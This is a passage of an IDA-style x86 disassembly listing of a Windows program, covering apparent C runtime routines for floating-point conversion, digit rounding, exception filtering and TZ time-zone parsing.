loc_42040B:				; CODE XREF: sub_420387+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420387	endp


; =============== S U B	R O U T	I N E =======================================



sub_420413	proc near		; CODE XREF: sub_4204E2+75p
					; sub_4204E2+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx

loc_420421:				; CODE XREF: sub_420413+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_420421
		pop	esi
		retn
sub_420413	endp


; =============== S U B	R O U T	I N E =======================================



sub_42042E	proc near		; CODE XREF: sub_4204E2+5Fp
					; sub_4204E2+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_42042E	endp


; =============== S U B	R O U T	I N E =======================================



sub_42043A	proc near		; CODE XREF: sub_4204E2+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx

loc_420440:				; CODE XREF: sub_42043A+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_420452
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_420440
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_420452:				; CODE XREF: sub_42043A+9j
		xor	eax, eax
		retn
sub_42043A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420455	proc near		; CODE XREF: sub_4204E2+C0p
					; sub_4204E2+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi

loc_42048B:				; CODE XREF: sub_420455+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_42048B
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2

loc_4204BD:				; CODE XREF: sub_420455+86j
		cmp	ebx, edi
		jl	short loc_4204D0
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_4204D7
; ---------------------------------------------------------------------------

loc_4204D0:				; CODE XREF: sub_420455+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0

loc_4204D7:				; CODE XREF: sub_420455+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_4204BD
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420455	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4204E2	proc near		; CODE XREF: sub_42064E+Dp
					; sub_420664+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_42054F
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_42043A
		test	eax, eax
		pop	ecx
		jnz	loc_42060E
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42042E
		pop	ecx

loc_420547:				; CODE XREF: sub_4204E2+E4j
		push	2

loc_420549:				; CODE XREF: sub_4204E2+110j
		pop	eax
		jmp	loc_420610
; ---------------------------------------------------------------------------

loc_42054F:				; CODE XREF: sub_4204E2+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_420413
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420387
		add	esp, 10h
		test	eax, eax
		jz	short loc_420570
		inc	ebx

loc_420570:				; CODE XREF: sub_4204E2+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_420588
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42042E
		pop	ecx
		jmp	short loc_4205C4
; ---------------------------------------------------------------------------

loc_420588:				; CODE XREF: sub_4204E2+98j
		cmp	ebx, eax
		jg	short loc_4205CB
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420413
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_420455
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420387
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420455
		add	esp, 20h

loc_4205C4:				; CODE XREF: sub_4204E2+A4j
		xor	esi, esi
		jmp	loc_420547
; ---------------------------------------------------------------------------

loc_4205CB:				; CODE XREF: sub_4204E2+A8j
		cmp	ebx, [edi]
		jl	short loc_4205F7
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42042E
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420455
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_420549
; ---------------------------------------------------------------------------

loc_4205F7:				; CODE XREF: sub_4204E2+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_420455
		pop	ecx
		pop	ecx

loc_42060E:				; CODE XREF: sub_4204E2+55j
		xor	eax, eax

loc_420610:				; CODE XREF: sub_4204E2+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_42063F
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_420649
; ---------------------------------------------------------------------------

loc_42063F:				; CODE XREF: sub_4204E2+14Ej
		cmp	edi, 20h
		jnz	short loc_420649
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi

loc_420649:				; CODE XREF: sub_4204E2+15Bj
					; sub_4204E2+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4204E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_42064E	proc near		; CODE XREF: sub_42067A+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43BF40
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_4204E2
		add	esp, 0Ch
		retn
sub_42064E	endp


; =============== S U B	R O U T	I N E =======================================



sub_420664	proc near		; CODE XREF: sub_4206A7+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43BF58
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_4204E2
		add	esp, 0Ch
		retn
sub_420664	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42067A	proc near		; CODE XREF: sub_41C92F+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4214D8
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42064E
		add	esp, 24h
		leave
		retn
sub_42067A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4206A7	proc near		; CODE XREF: sub_41C92F+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4214D8
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420664
		add	esp, 24h
		leave
		retn
sub_4206A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4206D4	proc near		; CODE XREF: sub_41C96D+65p
					; sub_41CA71+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_420711
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx

loc_4206F7:				; CODE XREF: sub_4206D4+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_420703
		movsx	edx, dl
		inc	ecx
		jmp	short loc_420706
; ---------------------------------------------------------------------------

loc_420703:				; CODE XREF: sub_4206D4+27j
		push	30h
		pop	edx

loc_420706:				; CODE XREF: sub_4206D4+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_4206F7
		mov	edx, [ebp+arg_8]

loc_420711:				; CODE XREF: sub_4206D4+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_42072A
		cmp	byte ptr [ecx],	35h
		jl	short loc_42072A

loc_42071D:				; CODE XREF: sub_4206D4+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_420728
		mov	byte ptr [eax],	30h
		jmp	short loc_42071D
; ---------------------------------------------------------------------------

loc_420728:				; CODE XREF: sub_4206D4+4Dj
		inc	byte ptr [eax]

loc_42072A:				; CODE XREF: sub_4206D4+42j
					; sub_4206D4+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_420734
		inc	dword ptr [edx+4]
		jmp	short loc_420746
; ---------------------------------------------------------------------------

loc_420734:				; CODE XREF: sub_4206D4+59j
		push	edi
		call	sub_417AB0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_4182C0
		add	esp, 10h

loc_420746:				; CODE XREF: sub_4206D4+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4206D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42074B	proc near		; CODE XREF: sub_41C96D+3Fp
					; sub_41CA71+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4207AF
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_48A1E8
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_4219A9
		mov	dword_48A210, eax
		add	esp, 18h
		movsx	eax, byte_48A1EA
		mov	dword_48A208, eax
		pop	edi
		movsx	eax, word_48A1E8
		mov	dword_48A20C, eax
		mov	dword_48A214, offset dword_48A1EC
		mov	eax, offset dword_48A208
		pop	esi
		leave
		retn
sub_42074B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4207AF	proc near		; CODE XREF: sub_42074B+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_4207FD
		cmp	ebx, edi
		jz	short loc_4207F6
		lea	edi, [ecx+3C00h]
		jmp	short loc_42081E
; ---------------------------------------------------------------------------

loc_4207F6:				; CODE XREF: sub_4207AF+3Dj
		mov	edi, 7FFFh
		jmp	short loc_42081E
; ---------------------------------------------------------------------------

loc_4207FD:				; CODE XREF: sub_4207AF+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_420815
		cmp	edx, ebx
		jnz	short loc_420815
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_420860
; ---------------------------------------------------------------------------

loc_420815:				; CODE XREF: sub_4207AF+52j
					; sub_4207AF+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx

loc_42081E:				; CODE XREF: sub_4207AF+45j
					; sub_4207AF+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx

loc_420836:				; CODE XREF: sub_4207AF+A6j
		test	ecx, esi
		jnz	short loc_420857
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_420836
; ---------------------------------------------------------------------------

loc_420857:				; CODE XREF: sub_4207AF+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx

loc_420860:				; CODE XREF: sub_4207AF+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4207AF	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_419CDA
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_42086E	proc near		; DATA XREF: ___:0043B918o
					; ___:0043C3E0o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_420891
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_420891
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_420891
		jmp	sub_41D4FC
; ---------------------------------------------------------------------------

loc_420891:				; CODE XREF: sub_42086E+Dj
					; sub_42086E+13j ...
		mov	eax, dword_48A218
		test	eax, eax
		jz	short loc_4208AE
		push	eax
		call	sub_42090A
		test	eax, eax
		pop	ecx
		jz	short loc_4208AE
		push	esi
		call	dword_48A218
		jmp	short loc_4208B0
; ---------------------------------------------------------------------------

loc_4208AE:				; CODE XREF: sub_42086E+2Aj
					; sub_42086E+35j
		xor	eax, eax

loc_4208B0:				; CODE XREF: sub_42086E+3Ej
		pop	esi
		retn	4
sub_42086E	endp

; ---------------------------------------------------------------------------
dword_4208B4	dd 42086E68h, 0F742E800h, 0A3900219h, 48A218h, 1835FFC3h
					; DATA XREF: ___:00426024o
		dd 0E80048A2h, 219F730h
		db 90h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4208D2	proc near		; CODE XREF: sub_41CD45+6Bp
					; sub_41D256+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		nop
		call	near ptr 25B0B3Bh
		test	eax, eax
		jz	short loc_4208EA
		xor	esi, esi

loc_4208EA:				; CODE XREF: sub_4208D2+14j
		mov	eax, esi
		pop	esi
		retn
sub_4208D2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4208EE	proc near		; CODE XREF: sub_41D256+73p
					; sub_41D256+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	near ptr 2860935h
		nop
		test	eax, eax
		jz	short loc_420906
		xor	esi, esi

loc_420906:				; CODE XREF: sub_4208EE+14j
		mov	eax, esi
		pop	esi
		retn
sub_4208EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42090A	proc near		; CODE XREF: sub_41D256+15Bp
					; sub_42086E+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		nop
		call	near ptr 25B0AD1h
		test	eax, eax
		jz	short loc_42091E
		xor	esi, esi

loc_42091E:				; CODE XREF: sub_42090A+10j
		mov	eax, esi
		pop	esi
		retn
sub_42090A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41D4FC

loc_420922:				; CODE XREF: sub_41D4FC:loc_41D54Dj
		push	0Ah
		call	sub_41F885
		push	16h
		call	sub_421C3C
		pop	ecx
		pop	ecx
		push	3
		call	sub_419AF6
; END OF FUNCTION CHUNK	FOR sub_41D4FC

; =============== S U B	R O U T	I N E =======================================



sub_420939	proc near		; CODE XREF: sub_41D609:loc_41D648p
		cmp	dword_48A2D8, 0
		jnz	short locret_42094D
		call	sub_42094E
		inc	dword_48A2D8

locret_42094D:				; CODE XREF: sub_420939+7j
		retn
sub_420939	endp


; =============== S U B	R O U T	I N E =======================================



sub_42094E	proc near		; CODE XREF: sub_420939+9p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	dword_48A220, ebp
		mov	dword_43C018, ebx
		mov	dword_43C008, ebx
		call	sub_421DAE
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_420A77
		push	offset dword_48A228
		nop
		call	near ptr 2810000h
		cmp	eax, ebx
		jz	loc_420BA6
		mov	eax, dword_48A228
		mov	ecx, dword_48A27C
		imul	eax, 3Ch
		cmp	word_48A26E, bp
		push	1
		pop	edx
		mov	dword_43BF70, eax
		mov	dword_48A220, edx
		jz	short loc_4209C5
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	dword_43BF70, eax

loc_4209C5:				; CODE XREF: sub_42094E+69j
		cmp	word_48A2C2, bp
		jz	short loc_4209E9
		mov	eax, dword_48A2D0
		cmp	eax, ebp
		jz	short loc_4209E9
		sub	eax, ecx
		mov	dword_43BF74, edx
		imul	eax, 3Ch
		mov	dword_43BF78, eax
		jmp	short loc_4209F5
; ---------------------------------------------------------------------------

loc_4209E9:				; CODE XREF: sub_42094E+7Ej
					; sub_42094E+87j
		mov	dword_43BF74, ebp
		mov	dword_43BF78, ebp

loc_4209F5:				; CODE XREF: sub_42094E+99j
		lea	eax, [esp+14h+var_4]
		mov	esi, dword_424150
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	off_43BFFC
		push	ebx
		push	offset dword_48A22C
		push	edi
		push	dword_48A0B8
		call	esi
		test	eax, eax
		jz	short loc_420A32
		cmp	[esp+14h+var_4], ebp
		jnz	short loc_420A32
		mov	eax, off_43BFFC
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_420A3A
; ---------------------------------------------------------------------------

loc_420A32:				; CODE XREF: sub_42094E+D1j
					; sub_42094E+D7j
		mov	eax, off_43BFFC
		and	byte ptr [eax],	0

loc_420A3A:				; CODE XREF: sub_42094E+E2j
		lea	eax, [esp+14h+var_4]
		push	eax
		push	ebp
		push	3Fh
		push	off_43C000
		push	ebx
		push	offset dword_48A280
		push	edi
		push	dword_48A0B8
		call	esi
		test	eax, eax
		jz	loc_420B9E
		cmp	[esp+14h+var_4], ebp
		jnz	loc_420B9E
		mov	eax, off_43C000
		and	byte ptr [eax+3Fh], 0
		jmp	loc_420BA6
; ---------------------------------------------------------------------------

loc_420A77:				; CODE XREF: sub_42094E+2Dj
		cmp	byte ptr [esi],	0
		jz	loc_420BA6
		mov	eax, dword_48A2D4
		cmp	eax, ebp
		jz	short loc_420A9A
		push	eax
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_420BA6

loc_420A9A:				; CODE XREF: sub_42094E+139j
		push	dword_48A2D4
		call	sub_417C3B
		push	esi
		call	sub_417AB0
		inc	eax
		push	eax
		call	sub_417B89
		add	esp, 0Ch
		cmp	eax, ebp
		mov	dword_48A2D4, eax
		jz	loc_420BA6
		push	esi
		push	eax
		call	sub_4179C0
		push	3
		push	esi
		push	off_43BFFC
		call	sub_418C10
		mov	eax, off_43BFFC
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_420AEF
		push	1
		inc	esi
		pop	edi

loc_420AEF:				; CODE XREF: sub_42094E+19Bj
		push	esi
		call	sub_417794
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	dword_43BF70, ecx

loc_420B06:				; CODE XREF: sub_42094E+1C7j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_420B14
		cmp	al, bl
		jl	short loc_420B17
		cmp	al, 39h
		jg	short loc_420B17

loc_420B14:				; CODE XREF: sub_42094E+1BCj
		inc	esi
		jmp	short loc_420B06
; ---------------------------------------------------------------------------

loc_420B17:				; CODE XREF: sub_42094E+1C0j
					; sub_42094E+1C4j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_420B6A
		inc	esi
		push	esi
		call	sub_417794
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, dword_43BF70
		add	ecx, eax
		mov	dword_43BF70, ecx

loc_420B35:				; CODE XREF: sub_42094E+1F2j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_420B42
		cmp	al, 39h
		jg	short loc_420B42
		inc	esi
		jmp	short loc_420B35
; ---------------------------------------------------------------------------

loc_420B42:				; CODE XREF: sub_42094E+1EBj
					; sub_42094E+1EFj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_420B6A
		inc	esi
		push	esi
		call	sub_417794
		pop	ecx
		mov	ecx, dword_43BF70
		add	ecx, eax
		mov	dword_43BF70, ecx

loc_420B5D:				; CODE XREF: sub_42094E+21Aj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_420B6A
		cmp	al, 39h
		jg	short loc_420B6A
		inc	esi
		jmp	short loc_420B5D
; ---------------------------------------------------------------------------

loc_420B6A:				; CODE XREF: sub_42094E+1CCj
					; sub_42094E+1F7j ...
		cmp	edi, ebp
		jz	short loc_420B76
		neg	ecx
		mov	dword_43BF70, ecx

loc_420B76:				; CODE XREF: sub_42094E+21Ej
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	dword_43BF74, eax
		jz	short loc_420B9E
		push	3
		push	esi
		push	off_43C000
		call	sub_418C10
		mov	eax, off_43C000
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_420BA6
; ---------------------------------------------------------------------------

loc_420B9E:				; CODE XREF: sub_42094E+10Bj
					; sub_42094E+115j ...
		mov	eax, off_43C000
		and	byte ptr [eax],	0

loc_420BA6:				; CODE XREF: sub_42094E+40j
					; sub_42094E+124j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_42094E	endp


; =============== S U B	R O U T	I N E =======================================



sub_420BAC	proc near		; CODE XREF: sub_41D609+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_43BF74, edi
		jnz	short loc_420BC0

loc_420BB9:				; CODE XREF: sub_420BAC+148j
					; sub_420BAC+150j ...
		xor	eax, eax
		jmp	loc_420D0C
; ---------------------------------------------------------------------------

loc_420BC0:				; CODE XREF: sub_420BAC+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, dword_43C008
		jnz	short loc_420BDE
		cmp	eax, dword_43C018
		jz	loc_420CE0

loc_420BDE:				; CODE XREF: sub_420BAC+24j
		cmp	dword_48A220, edi
		jz	loc_420CB6
		movzx	ecx, word_48A2CE
		push	ecx
		cmp	word_48A2C0, di
		movzx	ecx, word_48A2CC
		push	ecx
		movzx	ecx, word_48A2CA
		push	ecx
		movzx	ecx, word_48A2C8
		push	ecx
		jnz	short loc_420C30
		movzx	ecx, word_48A2C4
		push	edi
		push	ecx
		movzx	ecx, word_48A2C6
		push	ecx
		movzx	ecx, word_48A2C2
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_420C44
; ---------------------------------------------------------------------------

loc_420C30:				; CODE XREF: sub_420BAC+65j
		movzx	ecx, word_48A2C6
		push	ecx
		push	edi
		movzx	ecx, word_48A2C2
		push	edi
		push	ecx
		push	eax
		push	edi

loc_420C44:				; CODE XREF: sub_420BAC+82j
		push	ebx
		call	sub_420D58
		movzx	eax, word_48A27A
		add	esp, 2Ch
		cmp	word_48A26C, di
		push	eax
		movzx	eax, word_48A278
		push	eax
		movzx	eax, word_48A276
		push	eax
		movzx	eax, word_48A274
		push	eax
		jnz	short loc_420C9E
		movzx	eax, word_48A270
		push	edi
		push	eax
		movzx	eax, word_48A272
		push	eax
		movzx	eax, word_48A26E
		push	eax
		push	dword ptr [esi+14h]
		push	ebx

loc_420C93:				; CODE XREF: sub_420BAC+108j
		push	edi
		call	sub_420D58
		add	esp, 2Ch
		jmp	short loc_420CE0
; ---------------------------------------------------------------------------

loc_420C9E:				; CODE XREF: sub_420BAC+C8j
		movzx	eax, word_48A272
		push	eax
		push	edi
		movzx	eax, word_48A26E
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_420C93
; ---------------------------------------------------------------------------

loc_420CB6:				; CODE XREF: sub_420BAC+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_420D58
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_420D58
		add	esp, 58h

loc_420CE0:				; CODE XREF: sub_420BAC+2Cj
					; sub_420BAC+F0j
		mov	edx, dword_43C00C
		mov	eax, dword_43C01C
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_420D10
		cmp	ecx, edx
		jl	loc_420BB9
		cmp	ecx, eax
		jg	loc_420BB9
		cmp	ecx, edx
		jle	short loc_420D24
		cmp	ecx, eax
		jge	short loc_420D24

loc_420D0A:				; CODE XREF: sub_420BAC+166j
					; sub_420BAC+16Aj
		mov	eax, ebx

loc_420D0C:				; CODE XREF: sub_420BAC+Fj
					; sub_420BAC+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_420D10:				; CODE XREF: sub_420BAC+144j
		cmp	ecx, eax
		jl	short loc_420D0A
		cmp	ecx, edx
		jg	short loc_420D0A
		cmp	ecx, eax
		jle	short loc_420D24
		cmp	ecx, edx
		jl	loc_420BB9

loc_420D24:				; CODE XREF: sub_420BAC+158j
					; sub_420BAC+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_420D4B
		xor	ecx, ecx
		cmp	eax, dword_43C010
		setnl	cl

loc_420D47:				; CODE XREF: sub_420BAC+1AAj
		mov	eax, ecx
		jmp	short loc_420D0C
; ---------------------------------------------------------------------------

loc_420D4B:				; CODE XREF: sub_420BAC+18Ej
		xor	ecx, ecx
		cmp	eax, dword_43C020
		setl	cl
		jmp	short loc_420D47
sub_420BAC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420D58	proc near		; CODE XREF: sub_420BAC+99p
					; sub_420BAC+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
